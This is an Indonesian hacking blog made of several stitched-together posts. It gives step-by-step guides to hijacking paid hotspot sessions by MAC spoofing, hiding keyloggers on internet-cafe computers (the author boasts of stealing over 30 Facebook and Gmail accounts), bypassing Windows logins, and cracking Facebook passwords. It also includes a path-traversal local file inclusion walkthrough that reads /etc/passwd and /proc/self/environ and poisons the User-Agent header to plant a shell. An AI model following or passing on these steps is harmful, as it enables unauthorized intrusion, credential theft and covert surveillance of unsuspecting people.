BLOG WATON MANGAP

Dengan kemudahan mengakses internet melalui wireless, banyak pengguna laptop selalu mencari atau memanfaatkan hotspot yang ada untuk selalu aktif. Ada yang hanya sekedar buka email, ada yang cuman sekedar browsing, bahkan, ada juga yang sampai mengirim tugas kantor. Para pemilk dan pengguna Hotspot tidak menyadari bahwa mungkin, diantara mereka ada yang berniat jahat. Untuk kasus sederhana, sebuah hotspot umum palsu dapat menjebak para pemakainya untuk memberikan username dan password mereka tanpa mereka sadari bahwa mereka telah memberikannya. dalam artikel ini, akan saya jelaskan beberapa trik yang digunakan oleh beberapa orang yang berniat jelek dalam memakai Wireles. Untuk masalah pencegahannya, bisa dilihat di artikel lain di website ini yang memberikan solusi dan pencegahannya.
Untuk melakukan Wireles hacking, langkah pertama yang dilakukan adalah mencari wireless network yang terdekat dengan anda. Hal itu bisa dilakukan dengan wardrive (jika dilakukan diluar ruangan) atau berkeliling mengitari hotspot yang ada (jika di dalam ruangan). Dalam artikel ini, penulis mencoba menguraikan cara menggunakan wardrive karena lebih aman dan mengingat kita hanya mencoba untuk mengetahui jaringan wireless mana saja yang lemah.
Wardrive
Wardrive adalah ekspedisi memancing elektronik untuk mencari jaringan wireless yang lemah di sekitar anda. Kebanyakan, sebagian besar dari jaringan wireless tersebut bahkan tidak diberi password atau enkripsi untuk melindunginya.
Kegiatan ini dilakukan untuk mencari jaringan mana saja yang akan dijadikan obyek serangan. Sehingga, kita bisa melakukan serangan terhadap jaringan wireless yang telah kita jadikan target. Untuk melakukan kegitan ini, diperlukan peralatan sederhana untuk memulainya.
Daftar peralatan yang dibutuhkan:
• GPS receiver
jika daerah anda sudah memiliki GPS, anda dapat dengan mudah menandai daerah mana saja yang sudah anda jelajahi dan memberi tanda khusus dimana dalam daerah yang sudah anda jelajahi tersebut terdapat jaringan wireless yang lemah.
• Wireless PCMI card
Peralatan ini dibutuhkan untuk memperluas jaringan wireless anda. Biasanya, peralatan ini dilengkapi dengan jack untuk wireless antenna receiver atau mensupport jaringan selular untuk memperoleh jaringan yang lebih luas.
• Wireless antenna receiver
Peralatan ini dibutuhkan untuk menambah jangkauan wireless PCMI card yang anda punya dengan menghubungkan jack yang dimilikinya ke dalam wireless card anda. Jika wireless card yang anda miliki tidak mempunyai jack, anda bisa membeli wireless antenna yang memakai port usb yang sudah banyak beredar di pasaran. Tapi, jika anda merasa tidak puas dengan kemampuan memperoleh jaringan menggunakan peralatan yang anda miliki, anda bisa membikinnya dengan murah dengan mengikuti petunjuk yang ada di dalam website dibawah ini :

Pencarian Wireless Network
Kebanyakan jaringan wireless yang beredar tidak mempunyai sekuriti atau enkripsi yang melindunginya. Untuk melacaknya, dibutuhkan peralatan yang mendukung. Ada dua tools yang biasanya dipakai untuk tujuan ini.
• Network Stumbler atau lebih dikenal NetStumbler
Software berbasis windows ini sangat mudah mencari sinyal wireless yang dipancarkan dari hotspot ke pengguna. Penulis banyak menjumpai para pengguna wireless memakai software ini untuk mencari lokasi yang tepat untuk mendapat sinyal wireless dari hotspot yang kuat atau mensurvei apakah hotspot di daerahnya cukup bagus atau tidak.
• Kismet
Salah satu fungsi yang hilang dari NetStumbler adalah kemampuan untuk menampilkan SSID dari hotspot. pada access point, mereka selalu rutin membroadcast info ini. cuman, info tersebut kebanyakan berisi SSID yang tidak terbaca atau terenkripsi. Program ini akan mencari dan menampilkan SSID yang tidak di broadcast oleh hotspot dan sangat penting untuk mencari jaringan wireless yang akan diuji.
Memasuki jaringan wireless yang telah ditemukan
Setelah menemukan sebuah jaringan network, langkah selanjutnya adalah mencoba untuk menghubungkan anda ke jaringan tersebut. Jika jaringan tersebut tidak menggunakan sekuriti enkripsi, anda bisa langsung mengakses ke SSID. Jika SSID tidak di broadcast, anda dapat masuk dengan SSID yang sedang tidak di broadcast. Tentu saja, anda dapat dengan mudah menemukan yang tidak di broadcast menggunakan fitur yang ada kismet bukan? Jika jaringan tersebut dienkripsi, anda membutuhkan salah satu dari peralatan dibawah ini.
• CowPatty
Software ini menggunakan metode brute force untuk membuka WPA-PSK, yang mana PSK sendiri dianggap sebagai WEP baru unrtuk keamanan sekuriti wireless di rumah.Progam ini mencoba beberapa dari berbagai pilihan yang berasal dari file dictionary apakah ada yang sesuai dengan apa yang digunakan sebagai kunci tersebut
• ASLeap
jika ada jaringan yang menggunakan LEAP, alat ini bisa digunakan untuk mencari data semacam username dan Pasword yang sedang online di jaringan, dan mengoverride akses pemiliknya.LEAP tidak memproteksi proses tersebut seperti EAP, yang mana itu menjadi kelemahan utama bagi LEAP.
Mengendus atau mencuri Data Wireless
Tidak peduli apakah anda terkoneksi langsung ke jaringan wireless atau tidak,, jika ada jaringan wireless di dalam daerah dekat anda, selalu ada data yang lewat di dalam jaringan kapan pun itu. Untuk mengambil data itu, anda perlu peralatan untuk mengambil atau melihat data tersebut.
• Wireshark (pendahulu Ethereal)
dimana masih terjadi perdebatan bagaimana cara ynag tercepat dalam menyikapi program ini, tidak ada keraguan lagi bahwa software ini sangat berguna. ia dapat mencari jaringan wireless yang ada lengkap dengan info sekuriti. software ini dapat mecuri data dari 802.11 manajemen hotspot dan bisa juga digunakan sebagai alat untuk mencari hotspot yang tidak memproteksi dirinya dengan SSID.
• SwitchSniffer
Software ini adalah program yang bisa mencari user yang aktif di jaringan switch LAN dan dapat mengambil seluruh packet data tanpa persetujuan user yang bersangkutan, software ini juga dapat mendeteksi program arpspoofer sedang berjalan dan membokir sesi pertahanan semacam firewal. jika anda menggabungkan program ini dengan program sniffer yang lain, anda dapat melihat dan mengambil id user dan Pasword dari user lain di dalam jaringan anda.
Tindakan anda selanjutnya?
Setelah anda mengetahui bagaimana proses hacking, terserah anda mau diapakan data ataupun hotspot yang telah anda temukan dan anda eksploitasi itu. jika anda mau melaporkan ke admin hotspot bahwa ada kelemahan, anda telah menjadi bagian dari Ethical hacker. tapi, jika anda malah makin mengeksploitasi hotspot tersebut, maka anda menjadi Blackcap Hacker. anda mau memilih menjadi apa, itu hak anda. penulis hanya membagi info saja. semoga tutorial ini bermanfaat bagi anda.
Sumber:

- hacking wireless network for dummies
- http://www.ethicalhacker.net/
- hack proofing your network
Dan sumber sumber laen

Kebanyakan orang indonesia pasti lah suka yang gratisan,apakah anda termasuk salah satunya???
Yeaah aku lah salah satunya
Mungkin sebenrnya untuk membeli sesuatu itu kita bisa,cuman pasti pemikiran nya "Kalau ada yang gratisan ngapa'n sich bayar ,yeaah tentunya itu pemikiranku,mungkin anda ga (ga beda maksudnya)
Buat orang yang suka berselancar di dunia maya,seperti aku misalnya.Akan membutuhkan sdikit waktu untuk mencari informasi di dunia maya atau da juga yang bilang "Gak punya kerja an" Masa bodo lah toh ini hidup gw.di samping membuth kan waktu pasti juga membuth kan sedikit money atau mungkin banyak,nah bagaimana cara menghmat pengeluaran saya,atau mungkin kalau bisa gak keluar modal tapi tetep bisa surving di dunia maya.
Yeahh Hotspotlah salah satu solusiku,kebetulan di tempat kost sanku area hotspot karena 3 rumah dari rumahku ada warnet,jaringan wifi hotspot ada yang gratis ada juga yang ngga tergantung sama penyelenggaranya.kalau di tempatku sich gratizz,lumayan lah jadi gak terlalu keluar mudal,hixixix berhubung aku nggak punya lapi, aku mash pakai PC di rumah,jadi untuk mengaktifkan Wi-Fi hotspot pakai Pc menggunakan USB Wifi Adapter.Untuk driver Tp Link Adapter anda bisa cari Di Sini.

Untuk pengalamanku menggunakan laptop awalnya si aku coba coba pakai tangtop ceweku (tapi karang dah jadi mantan x,owhh kasihan gw) beuhh malahan curhat,Aku coba di alun alun kebumen.Al hasil di sana gratiz.

Okee langsung aja mulai prakter,hal pertama adalah bahan bahan nya (kayak mau masak aja hixixix)

¤Siapkan tangtop anda atau minjem juga gak papa yang penting kan intinya praktek kan?haha
¤Download Sofwart yang di butuhkan
Download IpScan.exe dan
Download TMACv5_R3_Setup.zip

Jika anda membawa cewek anda maen ke hotspot seperti alun alun kebumen hal yang tidak boleh di tinggal kan adalah PERMEN RELAXA jika nggak tau buat apa itu,tanya aja me ceweknya,wakakakakakak

Setelah sofwart tersebut di instal kemudian kita tinggal kan sejenak,
langsung praktek

¤ Carilah daerah yang terjangkau jaringan hotspot
¤ Hidupkan laptop serta hidupkan Wi-fi network anda,setelah lihat system tray pada icon wireles network,kemudian klik kanan pilih view available wireles network.pilih hotspot tujuan.
¤Setelah terhubung klhk kanan sistem tray => Status => pilih tab detail
¤ Setelah itu di sana akan terlhat Ip Yang di kash ke kita,Catatlah agar jangan lupa,karena ini sangat berguna
¤ Buka program Angry Ip Scaner,kemudian isikan IP Yang diberikan (di atas) yang anda catat tadi

penjelasan:
Misal IP addres yang tadi di berikan ke kita
xxx.xxx.x.xx, sebelum memasukan IP ke range pertama tadi kita harus merubah angka paling belakang menjadi angka 1 ,sebagai contoh; xxx.xxx.x.1 kemudian pada kolom range ke dua kita ubah angka setelah (titik) paling belakang dengan angka 225 sebagai contohnya; xxx.xxx.x.225.klik start
¤ Setelah Scanning selesai lihat IP yang hidup (alive host) warna biru klik kanan => Sow => Mac addres,setelah itu anda akan di berikan kode Mac,catat kode tersebut
¤Sekarang Buka program Mac Addres Changer di sana ada field mac addres,kemudian ganti addres mac tersebut dengan kode yang kita dpt tadi (di atas) klik change mac id.

Tunggu sebentar karena koneksi pasti terputs,dan akan otomatis tersambung lagi,sembri nunggu kita minum kopi dulu atau kalau nggak emut permen dulu ma cewek kamu,kan critane lagi bareng si doi wakakakakakak

Oke sekarang coba mulai browsing dan atau chating, Apakah gratiz??? Kalau nggak berarti ya gak sukses/ada yang
Trik ini juga bisa  dipakai untuk mencari password yang digunakan oleh seseorang untuk mengakses hotspot yang menggunakan kartu prepaid. Di sini kita hanya numpang pada user yang kiita hack tadi. Seumpama anda ingin masuk menjadi admin,anda tinggal masuk ke halaman status login hotspot tersebut Misalnya : albibeh.hotspot.net/status dan begitu masuk disana terlihat nomor sandi prepaid card, kita catat saja, lalu logout, dan masuk kembali ke halaman login hotspot itu cepat-cepat. Kenapa harus cepet cepat,soalnya kalau kelamaan keburu yang empunya login,dan kita gak bisa login.

Trik ini semata mata hanya pembelajaran saja
Moga bermanfaat

Keyloger merupakan sofwart yang dapat memantau serta merekam aktifitas komputer dalam bentuk file text,*.txt
Dengan demikin segala yang di ketikan di keyboard dari a-z 0-10,dsb.sofwart ini akan menyimpanan nya,keyloger bersifat hidden,biasanya hanya terlihat ketika mengombinasikan keybord tertentu maka ikon keyloger akan nampak.

Cara instal keyloger cukup mudah,berikut caranya
1.Download keyloger DI Sini
2.Setelah di download klik kanan => extract here terus ok.
3.Klik kanan icon setup keyologer dan klik open,
4.Setelah muncul halaman baru,klik I agree
5.Buang centrang pada start menu shorcuts,kalau tidak di centang ikon keyloger akan nampak pada start program kemudian klik next terus instal.
6.Setelah itu klik close maka akan nampak halaman seperti ini


Sekarang keyloger sudah terinstal kita tinggal menggunakan nya ,sekarang coba anda mulai mengetik,setelah itu klik ganda,kemudian doble klik/klik kanan pada icon keyloger ,dan hasil pencatatan pada keyloger nampak seperti ini


Icon keyloger di atas masih nampak untuk menyembunyikan ikon tersebut klik kanan icon kemudian klik hidde icon

Cara ini pernah aku pakai pakai di warnet,setelah 3 hari aku lihat Al hasil aku mendapatkanlebih dari 30 akun facebook,dan beberapa akun gmail Aku ga tahu Admin nya jarang ngontrol komputernya,atau emang aku yang licik yah hahahahaha

Jika anda pengguna warnet berhati hatilah jikalau anda ngenet,sebelum anda mulai aktifitas cek dulu kompoter yang anda pegang apakah ada icon keyloger jika tidak nampak tekan Ctrl+Shift+Alt+F,jika tidak nampak juga maka komputer anda siap lanjut dan aman,dan jika anda menemukan ikon tersebut langsung matikan aja dengan klik kanan pada ikon keyloger kemudian klik exit.

Mungkin buat sebagian orang ga pengin isi komputernya di ketahui orang lain,dari itulah di komputernya di kasih username dan pasword,kejadi an ini pernah aku alamin waktu aku main ke tempat saudaraku,aku maen di situ,dari pada nganggur pikirku mending maen kompter aja dueh,soalnya di situ aku sendirin,aku buka komputernya nahh loohh ko di pasword,teruz aku nelpon aza saudaraku,minta user ma paswordnya,geto aza
hahahaha

dari situ aku dapet pengalaman,oke dari pengalaman ini aku coba cari tau"Bagaimana cara membuka komputer yang di pasword???"
aku tanya aza ma mbah google.Al hasil aku nemu di situ
mungkin ada beberapa cara nya,aku kasih sedikit penjelasanya yang aku tau,

1.memanfaatkan kekosongan user Administrator

cara ini sangat mudah dan simple
* tekan ctrl+alt+del 2 X
*Dikolom user isi dengan kata Administrator
Di kolom pasword biarin aja kosong

Cara ini berlaku jika si admin lupa mengsi user administratornya,soalnya tersembunyi

Ji kalau si admin mengisi pasword adminirtrator nya aku lum tahu tuh gemana caranya,hixixixix

2.Memakai Screenshot_selectUser

Cara ini boleh dikatakan 80% berhasil,mungking hacker banyak yang memakai sofwart ini
tampilan nya seperti ini


Untuk link Download dan cara pengoperasianya anda bisa masuk SINI

3.Memakai ntpasword
Sofwart ini lumayan ampuh untk menembus security komputer,sistem pengoperasia nya cukup mudah dengan tampilan bios,

Untuk link Download nya anda bisa masuk ke SINI

4.Memakai kon-Boot

Untuk sofwart yang satu ini,boleh di bilang paling ampuh,karna sofwart ini dapat menembus security linux,beserta dengan os nya

Beberapa windows yang dapat di tembus dengan sofwart ini:
Windows 7
Windows XP
Windows XP SP1
Windows XP SP2
Windows XP SP3
Windows Vista Business SP0
Windows Vista Ultimate SP1
Windows Vista Ultimate SP0


Untuk linux nya
Gentoo 2.6.24 -gentoo-r5
Ubuntu 2.6.24.3 -debug
Debian 2.6.18-6 -686 1
Fedora 2.6.25.9-76 .fc9.i686 2

Untuk link download nya anda bisa masuk ke SINI

Sedikit yang aku dapet dari mbah gogle moga aja bermanfaat

alam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas sebelumnya di website milw0rm pada paper ke 361.
Ok kita langsung saja…

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :



atau



lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !

Facebook????????? siapa yang ga tau .Pasti semua orang dah pada tau semua banyak banget fenomena nya,mungkin di tahun 2010 ini facebook lah yang paling banyak diterima di indonesia sebagai situs pertemanan,Di tahun ini juga facebook adalah sasaran empuk para hacker,aku akan share sedikit tentang facebook frezer biarin lah kacau kacau hahahaha

Facebook frezer adalah softwar buat nglacak akun facebook sebenarnya caranya gampang banget,eiiiiiiiiiitt ga semua komputer bisa nginstal aplikasi ini inilah contoh Facebook frezer ketika kamu dah berhasil nginstal

kita tingal masukan aza email yang mau kita hack,Trus kamu pencet freze
udah dengan sendirinya Sofwar ini mencari pasword yang sesuai,Kalau sudah berhasil maka dia akan berhenti dengan sendirinya,
okelah kalau begitu
kamu biisa download aplikasinya dari sini silahkan DONWLOAD

Sebanernya ini buat belajar aza bro.jangan di salah gunakan ya?
Buat pembelejaran aza,Owh ya jangan lupa Kalau kamu dah pnya sofwart ini akun fb ku jangan di bajak yahh hixixixixix

Bwad pnethuan bro, ne saia dpet dri tmen... pra mster, klu ad yg slah, tlg d bnerin ya....
anks to; -bloodiez
-cybermuttaqin

firefox ternyata bs dimanfaatin menjadi senjata hacker.
mari kpd Seluruhmasyarakat imzer untuk bersama-sama memodifikasi Mozila Firefox ini agar menjadi senjata yang lebih mematikan lagi... (Add-On dan Program Sendiri)...
Kritik dan saran semuanya sangat saya harapkan dan tunggu-tunggu...
Disini saya akan menampilkan apa yang saya peroleh dengan addon yang sudah saya includekan.
Meski terasa loading pertama berat namun ketika muncul keren abizz....

Add-On yang di includekan semuanya bebas malware : Di sini
Berikut share Add-On dan fungsinya agar semua bisa menggunakan :

1. Free Ebook Search : untuk mencari e-book
2. Server Spy : melihat jenis server
3. Domain Finder : mencari data suatu domain
4. Who is : melihat detail situs
5. About This Site : melihat detail situs
6. Tix Now : mematikan timer rapidshare
7. Firebug : mengedit html, css, javascript di virtual hacking
8. XSS-Me : percobaan xss ke situs target
9. SQL Inject Me : percobaan SQL Injection ke situs target
10.Unhide Passwords : melihat password saat kita sniffing di LAN sendiri
11. Tab URL Copier : untuk mencopy paste URL
12. Who Are You? : Mencari data nama seseorang di internet
13. Zoom Fox : memperbesar gambar di web
14. Linkification : melihat http link target
15. XRays : melihat source code dengan tampilannya
16. Amazing Media Browser : mendownload file flash dengan cara hacking
17. Down Them All : mengambil banyak file html diserver target
18. Download Helper : mendownload video hacking
19. Spamborg : untuk pendaftaran email tanpa iklan
20. FasterFox : untuk mempercepat firefox
21. Stylish : menghack stylish di wordpress.com
22. Aardvark : mendelete barner saat melihat source code situs
23. Flashblock : memblock file flash
24. Flash Killer : tidak menampilkan flash agar yang terlihat tulisan saja
25. HostIP.Info.Geolocation : sorot link dan sudah terlihat alamat situs
26. Live HTTP Header : menampilkan http header
27. Fire FTP : sebagai FTP untuk upload file ke situs target
28. View Cookies : untuk melihat cookies
29. Add N Edit Cookies : untuk mengedit cookies
30. IeView : untuk melihat gambar di internet explore
31. Anonymouser : membuat diri tidak terlihat
32. User Agent Switcher : menyamar menjadi browser laen
33. YmNotifier : menyadap password yahoo
34. GMail Notifier : menyadap password gmail
35. Switch Proxy : mengganti proxy biar aman saat hacking
36. Reload Every : dapat digunakan untuk boom email target
37. Adblock Plus : untuk mengakses email dengan 3 profile
38. Hackbar : untuk mengetikkan URL yang sangat panjang
39. Calling ID Advisor : Bedah situs
40. Bandwidth Meter : untuk mengukur bandwidth kita

Tinggal themesnya kita ganti dan Bankk... )-l
Setelah semua terlihat nich tampilannya Keren Kan:


http://farm4.static.flickr.com/3511/3246908522_a34c436809.jpg
Kalau kamu pengin nambah lagi ni

1. Advanced Dork: untuk pencarian google secara cepat dengan advance operator
2. Cipherfox : memperlihatkan ssl / tls chipper dan key di status bar..
3. Java Console: Untuk menggunakan console via java
4. Copycode: mengijinkan kita untuk memilih text dan mengcopynya secara html
5. Fire Encrypter: memberikan enkripsi / decripsi dan hashing waktu kita hacking
6. FirePHP: mengijinkan untuk masuk firebug console menggunakan simple PHP call..
7. Inline Code Finder For FireBug: Untuk mencari bug menggunakan firebug
8. Page Hacker: menambahkan tombol hack pada halaman yang terpilih
9. Password Hasher: untuk memperlihatkan password
10.Tinyurl Creator: untuk membuat url yang akan kita hack menjadi short
11.SQL Injection : untuk mengetest ketahanan suatu situs terhadap SQL Injection

Dah dech... tambah lengkap ini senjata...
Coba sekarang dilihat hasilnya seperti ini :

Hacker dengan keahliannya dapat melihat & memperbaiki kelemahan perangkat lunak di komputer; biasanya kemudian di publikasikan secara terbuka di Internet agar sistem menjadi lebih baik. Sialnya, segelintir manusia berhati jahat menggunakan informasi tersebut untuk kejahatan – mereka biasanya disebut cracker. Pada dasarnya dunia hacker & cracker tidak berbeda dengan dunia seni, disini kita berbicara seni keamanan jaringan Internet.

Saya berharap ilmu keamanan jaringan di tulisan ini digunakan untuk hal-hal yang baik – jadilah Hacker bukan Cracker. Jangan sampai anda terkena karma karena menggunakan ilmu untuk merusak milik orang lain. Apalagi, pada saat ini kebutuhan akan hacker semakin bertambah di Indonesia dengan semakin banyak dotcommers yang ingin IPO di berbagai bursa saham. Nama baik & nilai sebuah dotcom bisa jatuh bahkan menjadi tidak berharga jika dotcom di bobol. Dalam kondisi ini, para hacker di harapkan bisa menjadi konsultan keamanan bagi para dotcommers tersebut – karena SDM pihak kepolisian & aparat keamanan Indonesia amat sangat lemah & menyedihkan di bidang Teknologi Informasi & Internet. Apa boleh buat cybersquad, cyberpatrol swasta barangkali perlu di budayakan untuk survival dotcommers Indonesia di Internet.

Berbagai teknik keamanan jaringan Internet dapat di peroleh secara mudah di Internet antara lain di http://www.sans.org, http://www.rootshell.com, http://www.linuxfirewall.org/, http://www.linuxdoc.org, http://www.cerias.purdue.edu/coast/firewalls/, http://www.redhat.com/mirrors/LDP/HOWTO/. Sebagian dari teknik ini berupa buku-buku yang jumlah-nya beberapa ratus halaman yang dapat di ambil secara cuma-cuma (gratis). Beberapa Frequently Asked Questions (FAQ) tentang keamanan jaringan bisa diperoleh di http://www.iss.net/vd/mail.html, http://www.v-one.com/documents/fw-faq.htm. Dan bagi para experimenter beberapa script / program yang sudah jadi dapat diperoleh antara lain di http://bastille-linux.sourceforge.net/, http://www.redhat.com/support/docs/tips/firewall/firewallservice.html.

Bagi pembaca yang ingin memperoleh ilmu tentang jaringan dapat di download secara cuma-cuma dari http://pandu.dhs.org, http://www.bogor.net/idkf/, http://louis.idaman.com/idkf. Beberapa buku berbentuk softcopy yang dapat di ambil gratis dapat di ambil dari http://pandu.dhs.org/Buku-Online/. Kita harus berterima kasih terutama kepada team Pandu yang dimotori oleh I Made Wiryana untuk ini. Pada saat ini, saya tidak terlalu tahu adanya tempat diskusi Indonesia yang aktif membahas teknik-teknik hacking ini – tetapi mungkin bisa sebagian di diskusikan di mailing list lanjut seperti kursus-linux@yahoogroups.com & linux-admin@linux.or.id yang di operasikan oleh Kelompok Pengguna Linux Indonesia (KPLI) http://www.kpli.or.id.

Cara paling sederhana untuk melihat kelemahan sistem adalah dengan cara mencari informasi dari berbagai vendor misalnya di http://www.sans.org/newlook/publications/roadmap.htm#3b tentang kelemahan dari sistem yang mereka buat sendiri. Di samping, memonitoring berbagai mailing list di Internet yang berkaitan dengan keamanan jaringan seperti dalam daftar http://www.sans.org/newlook/publications/roadmap.htm#3e.

Dijelaskan oleh Front-line Information Security Team, “Techniques Adopted By ‘System Crackers’ When Attempting To Break Into Corporate or Sensitive Private Networks,” fist@ns2.co.uk http://www.ns2.co.uk. Seorang Cracker umumnya pria usia 16-25 tahun. Berdasarkan statistik pengguna Internet di Indonesia maka sebetulnya mayoritas pengguna Internet di Indonesia adalah anak-anak muda pada usia ini juga. Memang usia ini adalah usia yang sangat ideal dalam menimba ilmu baru termasuk ilmu Internet, sangat disayangkan jika kita tidak berhasil menginternetkan ke 25000 sekolah Indonesia s/d tahun 2002 – karena tumpuan hari depan bangsa Indonesia berada di tangan anak-anak muda kita ini.

Nah, para cracker muda ini umumnya melakukan cracking untuk meningkatkan kemampuan / menggunakan sumber daya di jaringan untuk kepentingan sendiri. Umumnya para cracker adalah opportunis. Melihat kelemahan sistem dengan mejalankan program scanner. Setelah memperoleh akses root, cracker akan menginstall pintu belakang (backdoor) dan menutup semua kelemahan umum yang ada.

Seperti kita tahu, umumnya berbagai perusahaan / dotcommers akan menggunakan Internet untuk (1) hosting web server mereka, (2) komunikasi e-mail dan (3) memberikan akses web / internet kepada karyawan-nya. Pemisahan jaringan Internet dan IntraNet umumnya dilakukan dengan menggunakan teknik / software Firewall dan Proxy server. Melihat kondisi penggunaan di atas, kelemahan sistem umumnya dapat di tembus misalnya dengan menembus mailserver external / luar yang digunakan untuk memudahkan akses ke mail keluar dari perusahaan. Selain itu, dengan menggunakan agressive-SNMP scanner & program yang memaksa SNMP community string dapat mengubah sebuah router menjadi bridge (jembatan) yang kemudian dapat digunakan untuk batu loncatan untuk masuk ke dalam jaringan internal perusahaan (IntraNet).

Agar cracker terlindungi pada saat melakukan serangan, teknik cloacking (penyamaran) dilakukan dengan cara melompat dari mesin yang sebelumnya telah di compromised (ditaklukan) melalui program telnet atau rsh. Pada mesin perantara yang menggunakan Windows serangan dapat dilakukan dengan melompat dari program Wingate. Selain itu, melompat dapat dilakukan melalui perangkat proxy yang konfigurasinya kurang baik.

Setelah berhasil melompat dan memasuki sistem lain, cracker biasanya melakukan probing terhadap jaringan dan mengumpulkan informasi yang dibutuhkan. Hal ini dilakukan dengan beberapa cara, misalnya (1) menggunakan nslookup untuk menjalankan perintah ‘ls ’ , (2) melihat file HTML di webserver anda untuk mengidentifikasi mesin lainnya, (3) melihat berbagai dokumen di FTP server, (4) menghubungkan diri ke mail server dan menggunakan perintah ‘expn ’, dan (5) mem-finger user di mesin-mesin eksternal lainnya.

Langkah selanjutnya, cracker akan mengidentifikasi komponen jaringan yang dipercaya oleh system apa saja. Komponen jaringan tersebut biasanya mesin administrator dan server yang biasanya di anggap paling aman di jaringan. Start dengan check akses & eksport NFS ke berbagai direktori yang kritis seperti /usr/bin, /etc dan /home. Eksploitasi mesin melalui kelemahan Common Gateway Interface (CGI), dengan akses ke file /etc/hosts.allow.

